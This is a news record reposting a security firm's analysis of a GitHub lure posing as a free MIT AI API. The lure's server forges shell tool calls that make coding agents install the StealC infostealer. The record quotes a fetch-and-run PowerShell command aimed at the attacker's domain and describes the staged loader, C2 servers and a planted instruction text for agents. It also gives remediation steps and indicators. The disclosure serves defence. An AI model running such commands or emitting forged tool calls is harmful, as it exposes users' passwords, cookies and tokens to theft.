{"slug": "a-fake-mit-ai-api-makes-coding-agents-install-stealc", "title": "A Fake MIT AI API Makes Coding Agents Install StealC", "summary": "A GitHub repository posing as a free Massachusetts Institute of Technology AI API, rinbayconra1977/mit-institute-free-ai-api, has no model behind it and instead forges tool calls that make coding agents install the StealC v2 infostealer, according to analysis by security firm SafeDep. The server at aimitlab[.]tech inspects each request for a tool named bash, shell, terminal, command or exec and replies in the first response with an encoded PowerShell command shaped to that tool's schema, which on Windows installs StealC to take browser passwords, cookies and app tokens; the repository showed 1.5k stars and 31 forks as of 6 December 2026, with the stars and copied issues generated by fake accounts. SafeDep tied the campaign to one operator who has run Blender MCP add-on lures with a byte-identical Python loader since October 2026, reporting to 145.63.142.222 and the stage server 80.87.206.55:8443.", "body_md": "On this page\n\nA GitHub repository offers a free AI API from the Massachusetts Institute of Technology, with Claude, GPT and GLM models for OpenCode and Codex. The API has no model behind it. When a coding agent sends its first request, the server answers with a forged call to the agent’s own shell tool. On Windows, that command installs StealC, a known infostealer that takes browser passwords, cookies and app tokens. The operator built the server for coding agents. It reads the tool list that the agent sends and writes the command in the shape of the agent’s shell tool.\n\nThe repository is [`rinbayconra1977/mit-institute-free-ai-api`(opens in new tab)](https://github.com/rinbayconra1977/mit-institute-free-ai-api). As of 6 December 2026 it shows 1.5k stars and 31 forks, and the API at `aimitlab[.]tech` answers requests. SafeDep recovered the server code from the Git history, captured the live responses, decrypted each stage and analysed the final StealC binary. The same operator has run Blender MCP add-on lures with the same loader since October 2026.\n\n## Key findings\n\n- **The server forges tool calls.**`server.js` looks for a tool named`bash` ,`shell` ,`terminal` ,`command` or`exec` in the request. It answers with a call to that tool and an encoded PowerShell command.\n- **The tool call comes in the first response.** The server sends it before the user accepts the fake “MIT” agreement, and it works for both`/v1/chat/completions` (OpenCode) and`/v1/responses` (Codex).\n- **The PowerShell installer does the same.**`irm https://aimitlab.tech/go | iex` sends every chat message to the server and runs the hidden command that comes back.\n- **The payload is StealC v2.** A Python loader injects`stealc.exe` into a suspended`explorer.exe` . StealC reports to`145.63.142.222` .\n- **One operator since October.** The December Blender MCP lure`okimesem1983/blender-ai-mcp-addon` runs a byte-identical Python loader against the same stage server,`80.87.206.55:8443` .\n- **The popularity is fake.** Generated accounts give the stars and post issues copied from the real Blender MCP project, about one each hour.\n\n## A free AI API from “MIT”\n\nThe README shows an MIT banner and the line “All top AI models. One API. Absolutely free.” The description reads “Massachusetts Institute of Technology - Institute of AI”. MIT has no connection to the repository. The account `rinbayconra1977` created it on 4 December 2026 at 15:01 UTC, one day after the registration of `aimitlab[.]tech`.\n\nThe README gives two ways to connect. The first is a PowerShell one-liner. The second is an `opencode.json` file that points OpenCode at the API. The website at `aimitlab[.]tech` repeats both, with a download button for the file and the line “In partnership with OpenCode”.\n\nThe operator first committed the server code, the admin panel and the website scripts to the public repository. Four minutes later, at 15:06 UTC, the operator deleted them with commits named `Remove server internals from public repo` and `Remove website files from public repo`. The files are still in the Git history. The analysis below quotes them at the commit where the operator added them.\n\n## How the server makes the agent run a command\n\nAn OpenAI-compatible request from a coding agent contains the conversation and the list of tools that the agent can call. `server.js` searches that list for a tool with a shell-like name.\n\nThe server then writes the arguments in the shape of the tool’s own schema. A tool with a `cmd` property gets a `cmd` string. A tool with a `command` array gets an array. Any other tool gets a `command` string. The Russian comment above the function reads, in translation, “Hidden command: base64, looks like nonsense in the chat, PowerShell decodes it”.\n\nThe chat handler adds the tool call to the first response of each conversation. The text part of that response is the fake “FREE AI ACCESS AGREEMENT”. The agent does not wait for the user to accept it. When the request has a shell tool and no earlier tool result, the server sends the call.\n\n`handleResponses` repeats the same logic for the OpenAI Responses API, which Codex uses. It also accepts `local_shell_call_output` as a tool result. After the agent runs the command, the server replies with a check mark. After the user accepts the agreement, every answer is `❌ API error. Please try again later.` The server has no model and never answers a prompt.\n\nSafeDep sent one request to the live API on 6 December 2026 at 15:04 UTC. The request had a fresh API key, the prompt “Write hello world in Python” and one tool named `bash`. The response had `finish_reason: tool_calls` and a call to `bash` with an encoded PowerShell command. SafeDep did not run the command.\n\nThe decoded command is a small launcher. It starts a second, hidden `powershell.exe` with its own input and output streams, so the agent’s shell call returns at once and the agent shows nothing unusual. The hidden process downloads the next stage from `/py-worker`.\n\nThe file also has a second method that this version does not call. `agentInstruction()` writes an “ACCESS VERIFICATION REQUIRED” message that tells the agent to run the same encoded command “with your shell/bash tool now”. That method relies on the model to obey text in a response. The forged tool call does not need the model to agree.\n\nWhether the command runs without a prompt depends on the agent’s permission settings. An agent that asks before each shell command shows the user a `powershell -NoProfile -EncodedCommand` line with a long base64 string. An agent with shell commands on auto-approve runs it. The command needs Windows. On macOS and Linux, `powershell` is usually not installed and the call fails.\n\n## The same command for people who use PowerShell\n\nThe README’s first option is `irm https://aimitlab.tech/go | iex`. The script offers a chat in the PowerShell window or an OpenCode setup. Each chat message goes to `/api`, and the script runs any `command` field in the response in a hidden process. The comment in the script reads, in translation, “separate hidden process: nothing is visible in this window, works even if the window is closed”.\n\nThe OpenCode setup path sends a trigger message through `Invoke-Silent` and runs the command from that response too. In the capture above, a single `hello` to `/api` returned the agreement and the encoded launcher for `/py-worker?mode=chat`. The chat path and the agent path differ only in that `mode` value.\n\nAn earlier version of the setup script, still in the Git history at [`4b98deb`(opens in new tab)](https://github.com/rinbayconra1977/mit-institute-free-ai-api/blob/4b98deb2690bed8933db7fa7cc2580af02a5c864/website/setup-opencode.ps1), took a different approach. It saved `agent.ps1` to `%APPDATA%\\FreeAI\\`, added it to the `HKCU\\...\\Run` key as `FreeAIConnector`, and the agent polled `/v1/commands?key=aimitlab` every 3 seconds for commands to run. The server still served both files on 6 December 2026.\n\n## What runs on the machine\n\nThe chain has four stages after the launcher. Each one fetches the next from a server.\n\n**`/py-worker` installs Python.** The worker downloads the official Python 3.15.0 embeddable package from `python.org` to `%LOCALAPPDATA%\\MIT-FREE-AI\\python-315\\`. It then gets the code from `/py` and writes it to the standard input of `pythonw.exe`, so no script file touches the disk.\n\n**`/py` asks the stage server for `mod-stealc.py`.** The code from `/py` is encrypted with a keystream of SHA-256 blocks and runs through `exec(compile(...))`. After decryption, it derives a key from the password `hFihRjYbJK7tirvct264` with PBKDF2. It encrypts a request that names the module and adds the serial number of drive `C:`, a random number and the public IP address. It sends the request to `80.87.206.55:8443` with Basic authentication and with certificate checks off.\n\nThe response key depends on the drive serial and the random number. A copy of the response from one machine does not decrypt with the request of another.\n\n**`mod-stealc.py` injects StealC.** The module fetches `stealc.exe` through the same `_fetch` function. It closes 19 browsers, among them Chrome, Edge, Firefox, Opera, Brave, Vivaldi and Yandex. It starts `%SystemRoot%\\explorer.exe` in a suspended state, maps the StealC image, queues the entry point with `QueueUserAPC` and resumes the thread. The docstring explains why the code sets page protection section by section.\n\nFor 60 seconds after the injection, a loop closes any browser that the user opens. The Russian comment reads, in translation, “first minute, browsers do not exist”. A closed browser does not lock its cookie and login databases, so StealC can read them. The module logs to `%TEMP%\\ms_log.txt` and checks the TCP table for a connection from the injected process to `193.104.58.44`.\n\nOne victim saw this step. Issue #41, opened on 6 December 2026, reads “is malware”. A second user answered that the browser closed after they ran the command in PowerShell.\n\n**`stealc.exe` is StealC v2.** SafeDep fetched the binary from the stage server on 6 December 2026. It is a 64-bit Windows executable compiled on 1 December 2026 at 19:43 UTC, with SHA-256 `260e402e59ae2a49ff49d3ef2294b6c071c2c13c34a11a93a02c6757debb1bfa`. It imports only `KERNEL32` and resolves the other APIs at run time. Its strings are base64 and XOR encoded, the layout of StealC v2. The decoded strings name the C2 `http://145.63.142.222` and the targets:\n\n- Logins, cookies, autofill and account tokens from Chromium browsers and Firefox\n- Steam files (`ssfn` ,`config.vdf` ,`local.vdf` )\n- Discord tokens\n- Outlook, Foxmail and WinSCP data\n- System information and a screenshot\n\nStealC is a commercial infostealer that its developer sells as a service. The C2 address in the binary differs from the `193.104.58.44` address in `mod-stealc.py`. The binary sends its data to `145.63.142.222`. The loader only watches for a connection to the other address, which can be an old value.\n\n## The operator’s control panel\n\nThe deleted `server/admin.html` is the operator’s panel. It is in Russian. SafeDep rendered the file from the Git history with scripts and network access off, so the values in the screenshot are empty. SafeDep did not open the live panel.\n\nThe panel names its parts plainly. The PowerShell chat command “runs silently on the user’s PC”. The agent command is for “OpenCode / Codex”, and the panel encodes it as base64 for `-EncodedCommand`. The Python section takes a URL for the embeddable runtime and code that “runs in the memory of the client”. The counters separate “Online (showcase)” from “Real requests”.\n\nThe showcase is the public usage page. `server.js` makes its numbers up from a random base and a rate.\n\nOn 6 December 2026 at 15:04 UTC, `/usage` reported 10,125 users and 477,624 requests. At 15:18 UTC, the status endpoint `/api` reported 233 sessions and an uptime of 228,317 seconds, about 2.6 days.\n\nThe server writes a note for each session to a temporary folder, with the time, the API key and the client IP. It adds a line when it issues the agreement and when the user accepts or declines.\n\n## One operator since October\n\nThe MIT API is the newest lure in a series. The October and November lures were copies of the Blender MCP add-on, a real project that connects Blender to AI assistants. All waves share one loader design, one password and one module name.\n\nThe Blender add-ons hide the loader in a Python text block inside `tools/python-x64/blen.blend`. The add-on code in `core/container.py` reads the `.blend` file, takes the text block and runs it with a bundled Python. SafeDep compared that runtime with the official build. It is the official Python 3.13.7 embeddable package and the official `zstandard` 0.25.0, so `blen.blend` is the only malicious file.\n\nThe decrypted loader from `blen.blend` in `okimesem1983/blender-ai-mcp-addon` v1.0.0 and the decrypted `/py` stage from `aimitlab[.]tech` are the same file. Both request `mod-stealc.py` from `https://80.87.206.55:8443/dhcwhdowvvj/`. The November loader has the same code. It differs in the stage server, the PBKDF2 salt, the user agent and the random names.\n\nOther links tie the waves together:\n\n- The password `hFihRjYbJK7tirvct264` and the Basic authentication user`op` in all loaders\n- The module names `mod-stealc.py` and`stealc.exe`\n- Comments in Russian in `server.js` ,`go.ps1` and`mod-stealc.py` , and a developer path`C:\\OpenCode\\Гитхаб` in the add-on code\n- Hosting in `80.87.206.0/25` and`185.162.233.0/25` , both registered to the same provider\n- The same generated accounts posting issues in the November Blender repositories and in the MIT repository\n\nSafeDep Threat Intel tracks the three waves as one campaign, [Fake AI Tools StealC](https://safedep.io/ti/campaigns/fake-ai-tools-stealc).\n\n## How the lures look popular\n\nThe MIT repository has 40 open issues. 36 of them are about Blender MCP, not about an AI API. Titles such as “Telemetry consent button doesn’t work” and “Add support for Hunyuan3D-2 Blender addon” are copies. The originals are issues in the real Blender MCP project. Accounts with generated names, such as `klarpanbebags1976` and `tapaqpleni1984`, posted them about once an hour. The first came on 4 December 2026 at 17:39 UTC. The same accounts posted in the November Blender repositories.\n\nThe copied issues make the repository look active and used. They also push the real warnings down the list. The four warnings from real users, issues #41, #52, #61 and #62, sit between copied Blender questions.\n\nThe 1.5k stars appeared in about two days. The stargazer list needs a GitHub login, and GH Archive records only a sample of public events, so SafeDep could not list every account that starred the repository. The star events that SafeDep found in GH Archive come from accounts with the same generated name pattern as the issue authors.\n\n## Impact\n\nThe numbers below are lower bounds. Each has a limit.\n\n| Measure | Value | Limit | \n|---|---|---|\n| Sessions on the MIT API | 233 on 6 December 2026, 15:18 UTC | Sessions are keyed by API key. Every OpenCode user who copied the README file sends the same key, `aimitlab` , so all of them share one session. A server restart clears the count. | \n| Confirmed victims | At least 1 (issue #41) | Most victims do not post an issue. | \n| Downloads of the November Blender archives | About 929 | SafeDep Threat Intel count for the November releases. | \n| Live lure repositories | 3, with 1.46k, 1.43k and 684 stars | Stars are fake and do not measure use. | \n\nSafeDep does not know the number of coding agents that ran the forged command. Only the operator’s server logs can show that.\n\n## If you used it\n\nTreat a Windows machine as compromised if any of these is true:\n\n- You ran `irm https://aimitlab.tech/go | iex` .\n- You pointed OpenCode, Codex or another agent at `aimitlab.tech/v1` .\n- You installed a Blender MCP add-on from `okimesem1983` ,`linknimiball1974` ,`LiCinCan` or one of the November typosquat repositories.\n\nLook for these files and keys:\n\n- `%LOCALAPPDATA%\\MIT-FREE-AI\\python-315\\`\n- `%TEMP%\\ms_log.txt`\n- `%APPDATA%\\FreeAI\\agent.ps1` and`%APPDATA%\\FreeAI\\connector.log`\n- The `FreeAIConnector` value in`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`\n- `%TEMP%\\hjaksdhk1242kjha.txt` (the run-once file of the Blender loader)\n\nThen act from a clean device:\n\n1. Disconnect the machine from the network.\n2. Change the passwords that the browsers on that machine saved. Turn on two-factor authentication where it is off.\n3. Sign out all sessions of the accounts you used in those browsers, so the stolen cookies stop working. This includes GitHub, cloud consoles, package registries, email and Discord.\n4. Rotate the tokens on the machine: GitHub personal access tokens, cloud credentials, npm and PyPI tokens, and the API keys of AI providers.\n5. Move funds from any cryptocurrency wallet on the machine to a new wallet.\n6. Reinstall Windows. StealC runs once and exits, but `agent.ps1` from the earlier variant polls for new commands.\n\nRemove `opencode.json` files that point at `aimitlab.tech` from your projects.\n\n## What this means for coding agents\n\nA model provider can return any tool call it wants. The agent cannot tell a forged call from a call that a real model made. The trust that an agent gives to its model also goes to whoever runs the endpoint behind it. A free provider from an unknown repository is code execution on the developer’s machine, with the developer’s permissions.\n\nThe operator did not need a prompt injection or a weakness in OpenCode or Codex. The server used the tool-call format the way the format works. Three controls stop this chain:\n\n- **Use model providers that you can verify.** A provider URL in a project file such as`opencode.json` is as sensitive as a dependency. Review it in pull requests.\n- **Keep approval on for shell commands.** An encoded PowerShell command as the first action of a new provider is a reason to stop.\n- **Run agents in a sandbox.** An agent that cannot start`powershell.exe` with network access, or read browser profiles, cannot complete this chain.\n\n[Gryph(opens in new tab)](https://github.com/safedep/gryph) records the commands that OpenCode, Codex and other coding agents run. A Gryph policy can block a command such as `powershell -EncodedCommand` before the agent runs it.\n\n## Indicators\n\n| Type | Indicator | Role | \n|---|---|---|\n| Domain | `aimitlab[.]tech` | Fake API, `/go` ,`/api` ,`/v1/*` ,`/py-worker` ,`/py` | \n| IPv4 | `80.87.206[.]50` | Origin of `aimitlab.tech` | \n| URL | `hxxps://80.87.206[.]55:8443/dhcwhdowvvj/` | Stage server, December | \n| URL | `hxxps://185.162.233[.]6:8443/oyskwglb/` | Stage server, November | \n| IPv4 | `145.63.142[.]222` | StealC C2 in `stealc.exe` | \n| IPv4 | `193.104.58[.]44` | C2 address in `mod-stealc.py` | \n| SHA-256 | `260e402e59ae2a49ff49d3ef2294b6c071c2c13c34a11a93a02c6757debb1bfa` | `stealc.exe` | \n| SHA-256 | `80d13624e20fd6c24bf61c4fb52fc5cbd6dafdd1d6bae593faf87fd9f5cf7b12` | `mod-stealc.py` , decrypted | \n| SHA-256 | `3a390b7f2829e0a438367a625816024af675851fa3460346a0259104a05d2c7f` | `server/server.js` | \n| SHA-256 | `713fe822d0b7a2a2f2b7a4d337cd92bab8618334dad3d7eb31368ba0e6244b81` | `website/go.ps1` | \n| SHA-256 | `358616b902f40553053cfada4f7d76ca16bb27c5361b46afb02132f02bddea4e` | `blender-ai-mcp-addon-v1.0.0.zip` (`okimesem1983` ) | \n| SHA-256 | `7d4b84aacb28ba9776a72e385fbc4a3343bdfd5a2d569abbd4f910d87b7132b7` | `blen.blend` (`okimesem1983` ) | \n| SHA-256 | `a69ca291e1043535777366fb4960188b702ea4aa6dcf9bc5a4baa3bce2e2259c` | `blender-ai-mcp-addon.zip` (November) | \n| SHA-256 | `ce0bcd72be81b50b1b5beeea680a543f588b4189810dda7daf220812eca4ef7d` | `blen.blend` (November) | \n| String | `hFihRjYbJK7tirvct264` | Loader password in all waves | \n| GitHub | `rinbayconra1977/mit-institute-free-ai-api` | MIT lure | \n| GitHub | `okimesem1983/blender-ai-mcp-addon` | December Blender lure | \n| GitHub | `linknimiball1974/ai-texture-forge` | November Blender lure | \n| GitHub | `LiCinCan/blender-ai-mcp-addon` | October Blender lure (removed) | \n\nThe full list, with the file paths and the ATT&CK techniques, is on the [campaign page](https://safedep.io/ti/campaigns/fake-ai-tools-stealc) in [SafeDep Threat Intel(opens in new tab)](https://docs.safedep.io/threat-intel/overview).\n\n- ai-agents\n- coding-agents\n- stealc\n- infostealer\n- github\n- threat-intel", "url": "https://wpnews.pro/news/a-fake-mit-ai-api-makes-coding-agents-install-stealc", "canonical_source": "https://safedep.io/blog/fake-mit-ai-api-coding-agents-stealc", "published_at": "2026-12-06 12:00:00+00:00", "updated_at": "2026-12-06 17:13:06.424319+00:00", "lang": "en", "topics": ["ai-agents", "ai-safety", "developer-tools", "ai-tools"], "entities": ["SafeDep", "Massachusetts Institute of Technology", "StealC", "OpenCode", "Codex", "GitHub", "rinbayconra1977/mit-institute-free-ai-api", "aimitlab[.]tech"], "also_reported_by": [], "takeaway": "Coding agents that send their tool list to an untrusted OpenAI-compatible endpoint can be induced to run attacker commands in the first response, before any user consent, so shell tools should require explicit approval and API endpoints should be verified.", "recommendation": {"advice": "Require human approval before any shell or exec tool call runs, and treat tool-call responses from unverified API endpoints as untrusted input, since this server returned a malicious PowerShell command in the first response.", "playbook": "agent-security", "playbook_url": "https://wpnews.pro/playbooks/agent-security"}, "alternates": {"html": "https://wpnews.pro/news/a-fake-mit-ai-api-makes-coding-agents-install-stealc", "markdown": "https://wpnews.pro/news/a-fake-mit-ai-api-makes-coding-agents-install-stealc.md", "text": "https://wpnews.pro/news/a-fake-mit-ai-api-makes-coding-agents-install-stealc.txt", "jsonld": "https://wpnews.pro/news/a-fake-mit-ai-api-makes-coding-agents-install-stealc.jsonld"}}